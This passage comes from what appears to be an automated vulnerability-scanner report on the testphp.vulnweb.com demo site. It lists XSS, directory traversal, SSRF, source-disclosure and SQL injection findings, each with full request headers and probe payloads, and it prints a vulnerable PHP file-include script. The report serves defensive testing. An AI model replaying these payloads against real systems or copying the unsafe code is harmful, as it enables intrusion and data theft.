Content-Length: 240
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%2540ema
il.tst'%22()%26%25<acx><ScRiPt%20>ODrX(9730)</ScRiPt>&upass=g00dPa%24%24w0rD&upass2=g00d
Pa%24%24w0rD&uphone=555-666-0606&urname=vdevnwiy&uuname=vdevnwiy
```

/secured/newuser.php

Details

URL encoded POST input uphone was set to 555-666-0606'"()&%<acx><ScRiPt >ODrX(9429)</ScRiPt>

Request headers

```
POST /secured/newuser.php HTTP/1.1
Content-Length: 238
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email
.tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606'%22()%26%25<acx>
<ScRiPt%20>ODrX(9429)</ScRiPt>&urname=ivbrkwbf&uuname=ivbrkwbf
```

/secured/newuser.php

Details

URL encoded POST input urname was set to ivbrkwbf'"()&%<acx><ScRiPt >ODrX(9764)</ScRiPt>

Request headers

```
POST /secured/newuser.php HTTP/1.1
Content-Length: 238
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email
.tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606&urname=ivbrkwbf
```

```
'%22()%26%25<acx><ScRiPt%20>ODrX(9764)</ScRiPt>&uuname=oupjuttg
```

/secured/newuser.php

Details

URL encoded POST input uuname was set to oupjuttg'"()&%<acx><ScRiPt >ODrX(9805)</ScRiPt>

Request headers

```
POST /secured/newuser.php HTTP/1.1
Content-Length: 238
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email
.tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-0606&urname=bpbwwmnt&
uuname=oupjuttg'%22()%26%25<acx><ScRiPt%20>ODrX(9805)</ScRiPt>
```

Directory traversal (verified)

Severity	**High**
Type	Validation
Reported by module	Scripting (Directory_Traversal.script)

Description

This script is possibly vulnerable to directory traversal attacks.

Directory Traversal is a vulnerability which allows attackers to access restricted directories and execute commands outside of the web server's root directory.

Impact

By exploiting directory traversal vulnerabilities, attackers step out of the root directory and access files in other directories. As a result, attackers might view restricted files or execute commands, leading to a full compromise of the Web server.

Recommendation

Your script should filter metacharacters from user input.

References

Acunetix Directory Traversal Attacks

Affected items

/showimage.php

Details

URL encoded GET input file was set to 1ACUSTARTFILE/../../xxx\..\..\ACUENDFILE
Additional details:

Source file: /hj/var/www//showimage.php line: 7

File: 1ACUSTARTFILE/../../xxx\..\..\ACUENDFILE "fopen" was called.

Request headers

```
GET /showimage.php?file=1ACUSTARTFILE/../../xxx%5c..%5c..%5cACUENDFILE HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/showimage.php

Details

URL encoded GET input file was set to 1ACUSTARTFILE/../../xxx\..\..\ACUENDFILE
Additional details:

Source file: /hj/var/www//showimage.php line: 19

File: 1ACUSTARTFILE/../../xxx\..\..\ACUENDFILE.tn "fopen" was called.

Request headers

```
GET /showimage.php?file=1ACUSTARTFILE/../../xxx%5c..%5c..%5cACUENDFILE&size=160 HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
```

```
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

nginx SPDY heap buffer overflow

Severity	**High**
Type	Configuration
Reported by module	Scripting (Version_Check.script)

Description

A heap-based buffer overflow in the SPDY implementation in nginx 1.3.15 before 1.4.7 and 1.5.x before 1.5.12 allows remote attackers to execute arbitrary code via a crafted request. The problem affects nginx compiled with the ngx_http_spdy_module module (which is not compiled by default) and without --with-debug configure option, if the "spdy" option of the "listen" directive is used in a configuration file.

Impact

An attacker can cause a heap memory buffer overflow in a worker process by using a specially crafted request, potentially resulting in arbitrary code execution

Recommendation

Upgrade nginx to the latest version of apply the patch provided by the vendor.

References

nginx patch
CVE-2014-0133
nginx security advisory (CVE-2014-0133)

Affected items

Web Server
Details
Current version is : nginx/1.4.1

Script source code disclosure

Severity	**High**
Type	Validation
Reported by module	Scripting (Script_Source_Code_Disclosure.script)

Description

It is possible to read the source code of this script by using script filename as a parameter. It seems that this script includes a file which name is determined using user-supplied data. This data is not properly validated before being passed to the include function.

Impact

An attacker can gather sensitive information (database connection strings, application logic) by analyzing the source code. This information can be used to launch further attacks.

Recommendation

Analyze the source code of this script and solve the problem.

References

Source Code Disclosure Can Be Exploited On Your Website

Affected items

/showimage.php

Details

URL encoded GET input file was set to showimage.php
Source disclosure pattern found: <?php

```
// header("Content-Length: 1" /*. filesize($name)*/);
if( isset($_GET["file"]) && !isset($_GET["size"]) ){
// open the file in a binary mode
header("Content-Type: image/jpeg");
$name = $_GET["file"];
$fp = fopen($name, 'rb');

// send the right headers
header("Content-Type: image/jpeg");

// dump the picture and stop the script
fpassthru($fp);
exit;
}
elseif (isset($_GET["file"]) && isset($_GET["size"])){
header("Content-Type: image/jpeg");
$name = $_GET["file"];
$fp = fopen($name.'.tn', 'rb');

// send the right headers
header("Content-Type: image/jpeg");

// dump the picture and stop the script
fpassthru($fp);
exit;
}
?>
```

Request headers

```
GET /showimage.php?file=showimage.php HTTP/1.1
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Server side request forgery

Severity	**High**
Type	Configuration
Reported by module	Scripting (Server_Side_Request_Forgery.script)

Description

SSRF as in Server Side Request Forgery is a vulnerability that allows an attacker to force server interfaces into sending packets initiated by the victim server to the local interface or to another server behind the firewall. Consult Web References for more information about this problem.

Impact

The impact varies according to the affected server interface.

Recommendation

Your script should properly sanitize user input.

References

SSRF VS. BUSINESS-CRITICAL APPLICATIONS

Affected items

/showimage.php

Details

URL encoded GET input file was set to http://hitv1vo7kHwwY.bxss.me/

An HTTP request was initiated for the domain hitv1vo7kHwwY.bxss.me which indicates that this script is vulnerable to SSRF (Server Side Request Forgery).

HTTP request details:
IP address: 176.28.50.165
User agent:

Request headers

```
GET /showimage.php?file=http://hitv1vo7kHwwY.bxss.me/&size=160 HTTP/1.1
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/showimage.php

Details

URL encoded GET input file was set to http://hitsXdbAuCvIg.bxss.me/

An HTTP request was initiated for the domain hitsXdbAuCvIg.bxss.me which indicates that this script is vulnerable to SSRF (Server Side Request Forgery).

HTTP request details:
IP address: 176.28.50.165
User agent:

Request headers

```
GET /showimage.php?file=http://hitsXdbAuCvIg.bxss.me/ HTTP/1.1
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

SQL injection

Severity	**High**
Type	Validation
Reported by module	Scripting (Sql_Injection.script)

Description

This script is possibly vulnerable to SQL Injection attacks.

SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't properly filter out dangerous characters.

This is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is relatively easy to protect against, there is a large number of web applications vulnerable.

Impact

An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your database and/or expose sensitive information.

Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use sub selects, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system.

Certain SQL Servers such as Microsoft SQL Server contain stored and extended procedures (database server functions). If an attacker can obtain access to these procedures it may be possible to compromise the entire machine.

Recommendation

Your script should filter metacharacters from user input.
Check detailed information for more information about fixing this vulnerability.

References

Acunetix SQL Injection Attack
VIDEO: SQL Injection tutorial
OWASP Injection Flaws
How to check for SQL injection vulnerabilities
SQL Injection Walkthrough
OWASP PHP Top 5

Affected items

/

Details

Path Fragment (suffix .html) input - was set to 1'"
Error message found: Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/Mod_Rewrite_Shop/rate.php on line 8

Request headers

```
GET /Mod_Rewrite_Shop/RateProduct-1'%22.html HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/

Details

Path Fragment (suffix /) input - was set to 1'"
Error message found: Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/Mod_Rewrite_Shop/buy.php on line 8

Request headers

```
GET /Mod_Rewrite_Shop/BuyProduct-1'%22/ HTTP/1.1
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/

Details

Cookie input login was set to 1'"
Error message found: Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/index.php on line 47

Request headers

```
GET / HTTP/1.1
Cookie: login=1'"; mycookie=3
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

SQL injection (verified)

Severity	**High**
Type	Validation
Reported by module	Scripting (Sql_Injection.script)

Description

This script is possibly vulnerable to SQL Injection attacks.

SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't properly filter out dangerous characters.

This is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is relatively easy to protect against, there is a large number of web applications vulnerable.

Impact

An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your database and/or expose sensitive information.

Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use sub selects, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system.

Certain SQL Servers such as Microsoft SQL Server contain stored and extended procedures (database server functions). If an attacker can obtain access to these procedures it may be possible to compromise the entire machine.

Recommendation

Your script should filter metacharacters from user input.
Check detailed information for more information about fixing this vulnerability.

References

OWASP PHP Top 5
Acunetix SQL Injection Attack
VIDEO: SQL Injection tutorial
OWASP Injection Flaws
How to check for SQL injection vulnerabilities
SQL Injection Walkthrough

Affected items

/AJAX/infoartist.php

Details

URL encoded GET input id was set to 1ACUSTART'"cJ7xQACUEND
Additional details:

Source file: /hj/var/www//AJAX/infoartist.php line: 5

SQL query: SELECT * FROM artists WHERE artist_id=1ACUSTART'"cJ7xQACUEND "mysql_query" was called.

Request headers

```
GET /AJAX/infoartist.php?id=1ACUSTART'%22cJ7xQACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/AJAX/infocateg.php

Details

URL encoded GET input id was set to 1ACUSTART'"3Zqh3ACUEND
Additional details:

Source file: /hj/var/www//AJAX/infocateg.php line: 5

SQL query: SELECT * FROM categ WHERE cat_id=1ACUSTART'"3Zqh3ACUEND "mysql_query" was called.

Request headers

```
GET /AJAX/infocateg.php?id=1ACUSTART'%223Zqh3ACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/AJAX/infotitle.php

Details

URL encoded POST input id was set to 1ACUSTART'"Al4BzACUEND
Additional details:

Source file: /hj/var/www//AJAX/infotitle.php line: 5

SQL query: SELECT * FROM pictures WHERE pic_id=1ACUSTART'"Al4BzACUEND "mysql_query" was called.

Request headers

```
POST /AJAX/infotitle.php HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Content-Length: 27
Content-Type: application/x-www-form-urlencoded
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*

id=1ACUSTART'%22Al4BzACUEND
```

/artists.php

Details

URL encoded GET input artist was set to 1ACUSTART'"OC4sVACUEND
Additional details:

Source file: /hj/var/www//artists.php line: 61

SQL query: SELECT * FROM artists WHERE artist_id=1ACUSTART'"OC4sVACUEND "mysql_query" was called.

Request headers

```
GET /artists.php?artist=1ACUSTART'%22OC4sVACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
```

```
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/artists.php

Details

Cookie input login was set to 1ACUSTART'"pMCNLACUEND
Additional details:

Source file: /hj/var/www//artists.php line: 44

SQL query: SELECT * FROM users WHERE uname='1ACUSTART'"pMCNLACUEND' AND pass='' "mysql_query" was called.

Request headers

```
GET /artists.php HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Cookie: login=1ACUSTART'"pMCNLACUEND; mycookie=3
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/cart.php

Details

Cookie input login was set to 1ACUSTART'"ukx9nACUEND
Additional details:

Source file: /hj/var/www//cart.php line: 44

SQL query: SELECT * FROM users WHERE uname='1ACUSTART'"ukx9nACUEND' AND pass='' "mysql_query" was called.

Request headers

```
GET /cart.php HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Cookie: login=1ACUSTART'"ukx9nACUEND; mycookie=3
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/guestbook.php

Details

Cookie input login was set to 1ACUSTART'"aVWlAACUEND
Additional details:

Source file: /hj/var/www//guestbook.php line: 49

SQL query: SELECT * FROM users WHERE uname='1ACUSTART'"aVWlAACUEND' AND pass='' "mysql_query" was called.

Request headers

```
GET /guestbook.php HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Cookie: login=1ACUSTART'"aVWlAACUEND; mycookie=3
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
```

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/listproducts.php

Details

URL encoded GET input artist was set to 1ACUSTART'"YdAfVACUEND
Additional details:

Source file: /hj/var/www//listproducts.php line: 67

SQL query: SELECT a.*, b.aname, b.artist_id, c.cname FROM pictures a, artists b, categ c WHERE a.cat_id=c.cat_id AND a.a_id=b.artist_id AND a.a_id=1ACUSTART'"YdAfVACUEND "mysql_query" was called.

Request headers

```
GET /listproducts.php?artist=1ACUSTART'%22YdAfVACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/listproducts.php

Details

URL encoded GET input cat was set to 1ACUSTART'"3Q9RXACUEND
Additional details:

Source file: /hj/var/www//listproducts.php line: 61

SQL query: SELECT a.*, b.aname, b.artist_id, c.cname FROM pictures a, artists b, categ c WHERE a.cat_id=c.cat_id AND a.a_id=b.artist_id AND a.cat_id=1ACUSTART'"3Q9RXACUEND "mysql_query" was called.

Request headers

```
GET /listproducts.php?cat=1ACUSTART'%223Q9RXACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/listproducts.php

Details

URL encoded GET input cat was set to 1ACUSTART'"IbvCjACUEND
Additional details:

Source file: /hj/var/www//listproducts.php line: 61

SQL query: SELECT a.*, b.aname, b.artist_id, c.cname FROM pictures a, artists b, categ c WHERE a.cat_id=c.cat_id AND a.a_id=b.artist_id AND a.cat_id=1ACUSTART'"IbvCjACUEND "mysql_query" was called.

Request headers

```
GET /listproducts.php?artist=1&cat=1ACUSTART'%22IbvCjACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
```

```
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/listproducts.php

Details

Cookie input login was set to 1ACUSTART'"u4SVPACUEND
Additional details:

Source file: /hj/var/www//listproducts.php line: 43

SQL query: SELECT * FROM users WHERE uname='1ACUSTART'"u4SVPACUEND' AND pass='' "mysql_query" was called.

Request headers

```
GET /listproducts.php HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Cookie: login=1ACUSTART'"u4SVPACUEND; mycookie=3
Referer: http://testphp.vulnweb.com:80/
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Mod_Rewrite_Shop/BuyProduct-1/

Details

URL encoded GET input id was set to 1ACUSTART'"MJXS7ACUEND
Additional details:

Source file: /hj/var/www//Mod_Rewrite_Shop/buy.php line: 6

SQL query: SELECT * from products where id=1ACUSTART'"MJXS7ACUEND "mysql_query" was called. Stack trace: 1. ProcessID([string] "1ACUSTART'"MJXS7ACUEND")

Request headers

```
GET /Mod_Rewrite_Shop/BuyProduct-1/?id=1ACUSTART'%22MJXS7ACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Mod_Rewrite_Shop/BuyProduct-2/

Details

URL encoded GET input id was set to 1ACUSTART'"M7pRSACUEND
Additional details:

Source file: /hj/var/www//Mod_Rewrite_Shop/buy.php line: 6

SQL query: SELECT * from products where id=1ACUSTART'"M7pRSACUEND "mysql_query" was called. Stack trace: 1. ProcessID([string] "1ACUSTART'"M7pRSACUEND")

Request headers

```
GET /Mod_Rewrite_Shop/BuyProduct-2/?id=1ACUSTART'%22M7pRSACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
```

```
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Mod_Rewrite_Shop/BuyProduct-3/

Details

URL encoded GET input id was set to 1ACUSTART'"XLjJ8ACUEND
Additional details:

Source file: /hj/var/www//Mod_Rewrite_Shop/buy.php line: 6

SQL query: SELECT * from products where id=1ACUSTART'"XLjJ8ACUEND "mysql_query" was called. Stack trace: 1. ProcessID([string] "1ACUSTART'"XLjJ8ACUEND")

Request headers

```
GET /Mod_Rewrite_Shop/BuyProduct-3/?id=1ACUSTART'%22XLjJ8ACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Mod_Rewrite_Shop/Details/color-printer/3/

Details

URL encoded GET input id was set to 1ACUSTART'"LfXwiACUEND
Additional details:

Source file: /hj/var/www//Mod_Rewrite_Shop/details.php line: 4

SQL query: SELECT * from products where id=1ACUSTART'"LfXwiACUEND "mysql_query" was called.

Request headers

```
GET /Mod_Rewrite_Shop/Details/color-printer/3/?id=1ACUSTART'%22LfXwiACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1/

Details

URL encoded GET input id was set to 1ACUSTART'"8lLK0ACUEND
Additional details:

Source file: /hj/var/www//Mod_Rewrite_Shop/details.php line: 4

SQL query: SELECT * from products where id=1ACUSTART'"8lLK0ACUEND "mysql_query" was called.

Request headers

```
GET
/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1/?id=1ACUSTART'%228lLK0ACUEND
HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
```

```
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Mod_Rewrite_Shop/Details/web-camera-a4tech/2/

Details

URL encoded GET input id was set to 1ACUSTART'"4iRECACUEND
Additional details:

Source file: /hj/var/www//Mod_Rewrite_Shop/details.php line: 4

SQL query: SELECT * from products where id=1ACUSTART'"4iRECACUEND "mysql_query" was called.

Request headers

```
GET /Mod_Rewrite_Shop/Details/web-camera-a4tech/2/?id=1ACUSTART'%224iRECACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Mod_Rewrite_Shop/RateProduct-1.html

Details

URL encoded GET input id was set to 1ACUSTART'"LQYU1ACUEND
Additional details:

Source file: /hj/var/www//Mod_Rewrite_Shop/rate.php line: 6

SQL query: SELECT * from products where id=1ACUSTART'"LQYU1ACUEND "mysql_query" was called. Stack trace: 1. ProcessID([string] "1ACUSTART'"LQYU1ACUEND")

Request headers

```
GET /Mod_Rewrite_Shop/RateProduct-1.html?id=1ACUSTART'%22LQYU1ACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Mod_Rewrite_Shop/RateProduct-2.html

Details

URL encoded GET input id was set to 1ACUSTART'"4fyVVACUEND
Additional details:

Source file: /hj/var/www//Mod_Rewrite_Shop/rate.php line: 6

SQL query: SELECT * from products where id=1ACUSTART'"4fyVVACUEND "mysql_query" was called. Stack trace: 1. ProcessID([string] "1ACUSTART'"4fyVVACUEND")

Request headers

```
GET /Mod_Rewrite_Shop/RateProduct-2.html?id=1ACUSTART'%224fyVVACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
```

```
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Mod_Rewrite_Shop/RateProduct-3.html

Details

URL encoded GET input id was set to 1ACUSTART'"Y38hcACUEND
Additional details:

Source file: /hj/var/www//Mod_Rewrite_Shop/rate.php line: 6

SQL query: SELECT * from products where id=1ACUSTART'"Y38hcACUEND "mysql_query" was called. Stack trace: 1. ProcessID([string] "1ACUSTART'"Y38hcACUEND")

Request headers

```
GET /Mod_Rewrite_Shop/RateProduct-3.html?id=1ACUSTART'%22Y38hcACUEND HTTP/1.1
Acunetix-Aspect-Password: *****
Acunetix-Aspect: enabled
Referer: http://testphp.vulnweb.com:80/
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/product.php

Details

Cookie input login was set to 1ACUSTART'"OyZCgACUEND
